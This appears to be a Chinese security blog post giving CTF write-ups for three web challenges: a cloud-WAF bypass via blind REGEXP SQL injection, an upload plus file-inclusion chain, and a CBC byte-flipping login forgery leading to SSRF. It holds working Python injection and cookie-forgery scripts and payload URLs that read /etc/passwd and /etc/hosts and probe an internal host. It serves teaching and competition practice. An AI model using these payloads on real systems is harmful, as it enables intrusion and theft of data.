走过路过,不要错过这个公众号哦!
0x01 绕过云waf
1.1
题目简述
题目来自最近的xctf赛博地球杯工业互联网安全大赛,是一道比较有趣的云waf绕过题目,题目过滤比较多,留下能用的只有like,regexp等为数不多的函数,这里我将介绍两种方法:
1.2
题目解法一
这是属于比较常规的思路,即fuzz一下过滤参数,然后找到未被过滤的参数,进行拼接绕过waf,这里题目限制严格,而手动测试容易得知:
1. or的过滤可以用||绕过
2. 空格的过滤可用%0a绕过
而后我们知道flag是当前表字段pass的值,那么问题来了
如何去注入得到这个值?
一般的方法是构造:
Username = '||%0apass%0aregexp%0a'flag{……
这里简单介绍一下regexp:
Regexp是mysql中的正则表达式
而此我们正是用正则一位一位去匹配注入,得到想要的值
但是问题直接来了:
首先是通配符的问题,可以直接满足脚本,例如flag{____________},这显然不是我们想要的值
然后大小问题的区分,比如flag为flag{Xctf_Enc},而我们得到的却是flag{xctf_enc},这样也是不可取的
所以这里需要用到另一个参数binary
此时可以组合使用:
REGEXP BINARY
这样就可以成功的大小写识别了,实现区分大小写的正则注入
我的脚本如下:
#!/usr/bin/env python# encoding: utf-8import requestsimport urllibimport stringpayload = "flag{"flag = payloadurl = "http://qcloudcetc.xctf.org.cn:8099/findpwd.php"for i in range(1,1000): for j in string.letters+"1234567890!@#$%^&*()_-+=}?": payload += j data = { "username":urllib.unquote("'||%0apass%0aregexp%0abinary%0a'")+payload } print data r = requests.post(url=url,data=data) if "您的密保问题是cetc" in r.content: flag = payload print flag break else: payload = flag
1.3
题目解法二
由于题目是云waf,这里还存在一个十分XD的解法
即构造超长字符串,可以使云waf不再对我们的数据进行检测,从而直接绕过云waf
如图:我们可以直接无视云waf,使用union select注入,此时的页面失去云waf的保护变得不堪一击。
0x02 有趣的组合拳
2.1
题目简介
题目同样来自最近的xctf赛博地球杯工业互联网安全大赛,考点也比较多,考察了代码审计与综合应用的能力,考察点为以下几步:
1.任意文件读取
2.上传文件绕过
3.文件包含
2.2
题目解法
题目给出了文件泄露:.index.php.swn
拿到源码后发现关键函数1:
function download($adfile, $file){
//Only Administrators can download files .
$cert = 'N';
if(isset($adfile) && file_get_contents($adfile, 'r') === 'Yeah Everything Will Be Ok My Boss') {
echo "Welcome ! You Are Administrator !";
$cert = 'Y';
}else{
echo "error1";
}
if ($cert === 'Y'){
if (stripos($file, 'file_list') != false) die('error4');
if (stripos($file, 'file_list') >= 0) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='. basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
}else{
die('error2');
}
}else{
echo 'error3';
}
}
关键函数2:
function autoload($page) {
if (stripos($_SERVER['QUERY_STRING'], 'flag') > 0) {
die('no flag flag flag flag !');
}
if (stripos($_SERVER['QUERY_STRING'], 'uploaded') > 0) {
die('no uploaded uploaded uploaded uploaded !');
}
if (stripos($_SERVER['QUERY_STRING'], '://f') > 0) {
die('no ://f ://f ://f');
}
if (stripos($_SERVER['QUERY_STRING'], 'ata') > 0) {
die('no ata ata ata');
}
if (stripos($_SERVER['QUERY_STRING'], '0') > 0) {
die('no 0 0 0');
}
if(file_exists("./includes/$page.php")) {
include "./includes/$page.php";
}
elseif(file_exists("./includes/$page")) {
include "./includes/$page";
}else{
echo "File is not exit ";
}
}
关键函数1告诉我们:可以读文件
关键函数2告诉我们:存在文件包含
所以现在的思路比较清晰:
1. 利用关键函数1去读上传的代码,找到上传漏洞
2. 利用上传功能上传我们的恶意文件
3. 利用文件包含去包含我们的恶意文件,拿到flag
首先看关键函数1:
有一个检测:
if(isset($adfile) && file_get_contents($adfile, 'r') === 'Yeah Everything Will Be Ok My Boss')
此处我们容易利用php://input伪协议轻松绕过
所以可以轻松拿到upload.php的源码
而在upload.php中我们容易发现几处关键代码:
if (substr($name, -3, 3) !== 'zip' && substr($name, -3, 3) !== 'jpg' && substr($name, -3, 3) !== 'png') {
die('file can not upload ! ');
}
此处限制了只能上传zip,jpg,png
if($type !== "application/zip" || $size > 400)//condition for the file
{
die("Format not allowed or file size too big!");
}
此处限制了格式问题,这里抓包可以轻松改掉
if(file_exists('includes')){
move_uploaded_file($temp, "includes/uploaded/" .$name);
echo "Upload complete a!";
shell_exec('sh /var/www/html/includes/unzip.sh');
}elseif(file_exists('uploaded')){
move_uploaded_file($temp, "uploaded/" .$name);
echo "Upload complete!";
shell_exec('sh /var/www/html/includes/unzip.sh');
此处对我们上次的文件进行了一个处理,而处理脚本是unzip.sh
所以下一步我们要去读这个文件
!#/bin/bash
cd ./uploaded
find ./ -size +1M | xargs rm
cd ../
unzip -o ./uploaded/*.zip -d ./uploaded/
rm -rf ./uploaded/*.zip
rm -rf ./uploaded/*.*
rm -rf ./uploaded/.*
cd ./uploaded
find -type d | xargs rm -rf
touch /var/www/html/includes/uploaded/index.php
chmod 000 /var/www/html/includes/uploaded/index.php
容易发现这个脚本将我们上传的zip解压,并删除
rm -rf ./uploaded/*.zip
rm -rf ./uploaded/*.*
rm -rf ./uploaded/.*
这里我们容易发现一个问题,就是如果不带后缀的话,将不会被匹配,也就意味着上传成功,不会被删除
所以我的做法如下:
生成一个名为sky的文件,写入内容
然后压缩上传,抓包改Content-Type即可
然后上传后我们得到文件路径:
http://47.104.188.226:20001/includes/uploaded/sky
此时就需要用到之前提到的文件包含功能
http://47.104.188.226:20001/index.php?uploaded&page=uploaded/sky
然后根据
if(file_exists("./includes/$page.php")) {
include "./includes/$page.php";
}
我们包含后的文件变成
http://47.104.188.226:20001/index.php?uploaded&page=uploaded/sky.php
此时即可拿到flag
0x03 CBC-SSRF
3.1
题目简介
题目来自CUMT2018校赛,改编自山科大的一道CBC字节翻转的题目。
主要考察点:
1.CBC字节翻转攻击突破登录限制
2.Curl读hosts发现内网
3.利用curl进行内网攻击
3.2
前引知识
以前在另一篇文章中提过,这里再简单说一下CBC字节翻转攻击
关注这个解密过程
但这时,我们是已知明文,想利用iv去改变解密后的明文
比如我们知道明文解密后是1dmin
我们想构造一个iv,让他解密后变成admin
还是原来的思路
原来的Iv[1]^middle[1]=plain[1]
而此时
我们想要
构造的iv[1]^mddle[1]=’a’
所以我们可以得到
构造的iv[1] = middle[1]^’a’
而middle[1]=原来的iv[1]^plain[1]
所以最后可以得到公式
构造的iv[1]= 原来的iv[1]^plain[1]^’a’
所以即可造成数据的伪造
我们可以用这个式子,遍历明文,构造出iv,让程序解密出我们想要的明文
3.3
题目解法
进去后发现是一个登陆页面
尝试登陆
得到回显
尝试其他
感觉上十分矛盾,需要admin登陆,却又不能用admin登陆
此时扫描一波目录,容易得到admin.php和login.php~的文件泄露
尝试直接访问admin.php
得到回显
阅读login.php~的文件泄露
关键点如上
Login函数会把info变量当做明文,用随机生成的token作为iv进行aes-128-cbc方式的加密,其中,密钥我们是不知道的
然后会把加密后的密文base64后赋值到cookie里的cipher,把iv的base64后的值赋值到cookie里的token
然后继续审计
Is_admin()函数是我们欺骗的关键
这里他将token和cipher解base64还原,然后进行解密
再将明文反序列化
如果反序列化成功,那么反序列化后的
username字段会被赋值到session的username,否则将反序列化失败的明文的base64打印出来
继续往后看
登录的时候会把用户名和密码进行序列化,传递给login()函数进行加密
然后经过is_admin()函数进行解密判断,如果成为admin就登录成功
那么下面我们开始构造
首先我们得研究清楚,反序列化后是什么
如果我们用
username=admin&password=123
进行登录
序列化后得到
a:2:{s:8:"username";s:5:"admin";s:8:"password";s:3:"123";}
但是这样显然不能成功,因为题目过滤了admin,所以我们尝试用1dmin
这样序列化后的结果
a:2:{s:8:"username";s:5:"1dmin";s:8:"password";s:3:"123";}
按照aes-128-cbc的分组方式将序列化分组,即16个一组
得到如下排列:
根据cbc翻转攻击的方式:
我们改变iv的某个字符将会影响第一组对应字符位置的值
改变第一组某个字符将会影响第二组对应字符位置的值
那么我们现在想把第二组的1dmin的‘1’改为‘a’
即:第二组的第10位改变成‘a’
所以可以应用cbc翻转攻击的公式
替换后的ord_new = ord(‘"’)^ord(‘a’)^ord(‘1’)
也就是说将此时的第一组的第10个字符改成chr(ord_new)即可
(注:双引号是第一组的第10个字符,1是第二组的第10个字符,a是我们想要的字符)
我们测试一下
脚本如下:
#!/usr/bin/env python# -*- coding: utf-8 -*-import urllibimport requestsimport reimport base64url = "http://123.206.222.169:50001/login.php"data = { "logname":"1dmin", "logpass":"123"}r = requests.post(url=url,data=data)list = r.headers['Set-Cookie'].split(", ")token = urllib.unquote(list[1][6:])cipher = base64.b64decode(urllib.unquote(list[2][7:]))phpsessid = list[0].split(";")[0][10:]block = []for i in range(0,len(cipher),16): block.append(cipher[i:i+16])replace = chr(ord(block[0][9]) ^ ord('1') ^ ord('a'))block[0] = block[0][:9]+replace+block[0][10:]token = base64.b64decode(token)cipher_new = ""for i in range(0,len(block)): cipher_new += block[i]cookie={ "PHPSESSID":phpsessid, "cipher":urllib.quote(base64.b64encode(cipher_new)), "token":urllib.quote(base64.b64encode(token))}s = requests.get(url=url,cookies=cookie)print s.content
得到回显:
解一下base64得到:
~£66åKúÃFme";s:5:"admin";s:8:"password";s:3:"123";}
发现我们构造后的密文不可被序列化的原因是,我们一开始伪造第二组数据的时候改变了第一组的数据,导致第一组成了乱码
此时想到还需要二次构造,利用我们知道的iv,再次伪造第一组数据,将其变为一开始的a:2:{s:8:"userna
这里的操作还和上次一样,利用公式即可
我直接附上完整脚本
#!/usr/bin/env python# -*- coding: utf-8 -*-import urllibimport requestsimport reimport base64url = "http://123.206.222.169:50001/login.php"data = { "logname":"1dmin", "logpass":"123"}r = requests.post(url=url,data=data)list = r.headers['Set-Cookie'].split(", ")token = urllib.unquote(list[1][6:])cipher = base64.b64decode(urllib.unquote(list[2][7:]))phpsessid = list[0].split(";")[0][10:]block = []for i in range(0,len(cipher),16): block.append(cipher[i:i+16])replace = chr(ord(block[0][9]) ^ ord('1') ^ ord('a'))block[0] = block[0][:9]+replace+block[0][10:]token = base64.b64decode(token)cipher_new = ""for i in range(0,len(block)): cipher_new += block[i]cookie={ "PHPSESSID":phpsessid, "cipher":urllib.quote(base64.b64encode(cipher_new)), "token":urllib.quote(base64.b64encode(token))}s = requests.get(url=url,cookies=cookie)print s.contentres_tr = r"
base64_decode(.*?)can't unserialize
"m_tr = re.findall(res_tr,s.content)base = m_tr[0][2:-3]plain = base64.b64decode(base)[:16]want = 'a:2:{s:8:"userna'first_16 = ''for i in range(16): first_16 += chr(ord(plain[i]) ^ ord(token[i]) ^ ord(want[i]))newiv = first_16cookie={ "PHPSESSID":phpsessid, "cipher":urllib.quote(base64.b64encode(cipher_new)), "token":urllib.quote(base64.b64encode(newiv))}k = requests.get(url=url,cookies=cookie)print phpsessid此时我们可以得到一个phpsessionid了
j8cbomulc1dijjdja3dnpm1ji6
此时我们的构造成功,此phpsessionid的username就是admin
我们用cookieedit改变一下
保存后访问admin.php
得到回显
此时我们登录成功
观察url
http://123.206.222.169:50001/admin.php?url=http://skysec.top/
猜测是一个ssrf
尝试file://读文件
http://123.206.222.169:50001/admin.php?url=file://skysec.top/
得到回显
发现file被过滤了,这里想到上次乐清小俊杰的过滤
我们尝试大小写绕过
http://123.206.222.169:50001/admin.php?url=File:///etc/passwd
成功读取文件
找寻一番,发现没有flag的踪迹
于是读etc/hosts文件
http://123.206.222.169:50001/admin.php?url=File:///etc/hosts
看到回显
发现有172.17.0.1的内网
访问http://123.206.222.169:50001/admin.php?url=172.17.0.1
发现是空白页面,右键查看源代码
发现有读文件
但是有过滤
这里我们选择使用
php://filter/read=convert.base64-encode/resource的读取方式
看index.php
http://123.206.222.169:50001/admin.php?url=172.17.0.1?file=php://filter/read=convert.base64-encode/resource=index.php
PD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWluY2x1ZGUgImZsYWcucGhwIjsKCWlmKCEkX0dFVFsnZmlsZSddKQoJCXsKCQkJZWNobyBmaWxlX2dldF9jb250ZW50cygiLi9pbmRleC5waHAiKTsKCQl9CgkkZmlsZT0kX0dFVFsnZmlsZSddOwoJaWYoc3Ryc3RyKCRmaWxlLCIuLi8iKXx8c3RyaXN0cigkZmlsZSwgInRwIil8fHN0cmlzdHIoJGZpbGUsImlucHV0Iil8fHN0cmlzdHIoJGZpbGUsImRhdGEiKSkKCXsKCQllY2hvICJPaCBubyEiOwoJCWV4aXQoKTsKCX0KCWluY2x1ZGUoJGZpbGUpOyAKPz4K
发现可以成功读取
于是猜想到可能存在flag.php
尝试
http://123.206.222.169:50001/admin.php?url=172.17.0.1?file=php://filter/read=convert.base64-encode/resource=flag.php
得到回显
PD9waHAgCi8vZWNobyAiY3VtdGN0Zntza3lfYW5kX2hpc19jYmNfaXNfc29fY29vbD99IjsKPz4KCg==
解码即可得到flag
(完)
看不过瘾?合天2017年度干货精华请点击《【精华】2017年度合天网安干货集锦》
别忘了投稿哟!!!
合天公众号开启原创投稿啦!!!
大家有好的技术原创文章。
欢迎投稿至邮箱:edu@heetian.com;
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。
有才能的你快来投稿吧!
重金悬赏 | 合天原创投稿等你来!
合天智汇
网址 : www.heetian.com
电话:4006-123-731
长按图片,据说只有颜值高的人才能识别哦→